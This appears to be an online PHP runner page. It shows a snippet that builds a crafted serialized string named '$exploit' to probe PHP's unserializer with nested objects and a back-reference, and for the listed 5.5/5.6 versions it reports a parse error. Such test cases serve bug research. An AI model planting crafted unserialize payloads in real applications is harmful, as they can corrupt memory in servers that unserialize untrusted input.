- Output for 5.5.24 - 5.5.30, 5.6.8 - 5.6.15
- Parse error: syntax error, unexpected '$data' (T_VARIABLE), expecting function (T_FUNCTION) in /in/4raH1 on line 4
Process exited with code 255.
<?php
class obj implements Serializable
{
$data;
}
$object = new obj();
$object->data = 1;
$inner = serialize($object);
$exploit = 'a:2:{i:0;C:3:"obj":' . strlen($inner) . ':{' . $inner . '}i:1;R:3;}';
$data = unserialize($exploit);
var_dump($data);